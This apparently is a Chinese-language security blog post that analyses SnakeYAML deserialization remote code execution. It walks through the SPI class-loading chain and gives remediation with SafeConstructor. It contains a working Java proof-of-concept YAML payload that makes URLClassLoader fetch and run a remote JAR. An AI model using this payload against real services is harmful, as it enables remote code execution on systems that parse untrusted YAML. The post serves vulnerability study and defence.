SnakeYaml反序列化
2023-01-30 11:35:36

Demo利用

https://github.com/artsploit/yaml-payload

将源码简单修改下

image-20230605115147426

image-20230605115156615

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package test;

import org.yaml.snakeyaml.Yaml;

public class test {
public static void main(String[] args) {
String poc = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8000/yaml-payload.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml();
yaml.load(poc);
}
}

(使用图片中自己cv的代码没有执行成功,卡了半天,干脆直接down了github的poc才执行成功的

原来还有个SPI机制

SPI机制

SPI ,全称为 Service Provider Interface,是一种服务发现机制。它通过在ClassPath路径下的META-INF/services文件夹查找文件,自动加载文件里所定义的类。也就是动态为某个接口寻找服务实现

如果需要使用 SPI 机制需要在Java classpath 下的 META-INF/services/目录里创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类

image-20230605115213134

也就是说,我们在META-INF/services下创建一个以服务接口命名的文件,这个文件里的内容就是这个接口的具体的实现类的全类名,在加载这个接口的时候就会实例化里面写上的类

image-20230605115222968

SPI会通过java.util.ServiceLoder进行动态加载实现,在调用的时候,SPI机制通过Class.forNam反射加载并且newInstance()反射创建对象的时候,静态代码块进行执行,从而达到命令执行的目的。

这里先插一句说下!!是什么

!! 就相当于 fastjson 里的 @type,用于指定要反序列化的全类名。

跟进到loadFromReader下setComposer,指定反序列化全类名

image-20230605115237095

上一步name取到javax.script.ScriptEngineManager,这里反射创建javax.script.ScriptEngineManager对象

image-20230605115250020

这里创建数组列表,调用node.getType().getDeclaredConstructors() 遍历完的结果通过possibleConstructors.add再添加到
Class.forName进行创建反射对象并且赋值给note的type里面。而后这里getDeclaredConstructors()获取它的无参构造方法。

在这里插入图片描述

再到这里返回实例对象

image-20230605115300840

construct构造器加载进来

value就是恶意类

image-20230605115318765
再加载一轮

就拿到了javax.script.ScriptEngineManager实例化对象
image-20230605115339023

反射调用将数组对象赋值给c,最后再实例化

image-20230605115354110

这里再返回要加载地址
image-20230605115407350
最后

image-20230605115421143

下面再来看下SPI机制的实现

断点下在ScriptEngineManager #75

ServiceLoader动态加载类
image-20230605115439050

hasNexService方法

加载META-INF/services/javax.script.ScriptEngineFactory 获取实现类

image-20230605115448854

实例化

image-20230605115458440

走到后面就执行成功

漏洞修复

漏洞涉及到了全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案:加入new SafeConstructor()类进行过滤

1
2
3
4
5
6
7
8
9
10
11
12
13
public class main {
public static void main(String[] args) {

String context = "!!javax.script.ScriptEngineManager [\n" +
" !!java.net.URLClassLoader [[\n" +
" !!java.net.URL [\"http://127.0.0.1:8888/yaml-payload-master.jar\"]\n" +
" ]]\n" +
"]";
Yaml yaml = new Yaml(new SafeConstructor());
yaml.load(context);
}

}

image-20230605115508920

再次执行会抛出异常

也可以拒绝不安全的反序列化操作,反序列化数据经过校验或者拒绝反序列化数据可控

在审计中其实就可以直接定位yaml.load();,然后进行回溯,如若参数可控,那么就可以尝试传入payload。

一些绕过手法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public static final String PREFIX = "tag:yaml.org,2002:";
public static final Tag YAML = new Tag("tag:yaml.org,2002:yaml");
public static final Tag MERGE = new Tag("tag:yaml.org,2002:merge");
public static final Tag SET = new Tag("tag:yaml.org,2002:set");
public static final Tag PAIRS = new Tag("tag:yaml.org,2002:pairs");
public static final Tag OMAP = new Tag("tag:yaml.org,2002:omap");
public static final Tag BINARY = new Tag("tag:yaml.org,2002:binary");
public static final Tag INT = new Tag("tag:yaml.org,2002:int");
public static final Tag FLOAT = new Tag("tag:yaml.org,2002:float");
public static final Tag TIMESTAMP = new Tag("tag:yaml.org,2002:timestamp");
public static final Tag BOOL = new Tag("tag:yaml.org,2002:bool");
public static final Tag NULL = new Tag("tag:yaml.org,2002:null");
public static final Tag STR = new Tag("tag:yaml.org,2002:str");
public static final Tag SEQ = new Tag("tag:yaml.org,2002:seq");
public static final Tag MAP = new Tag("tag:yaml.org,2002:map");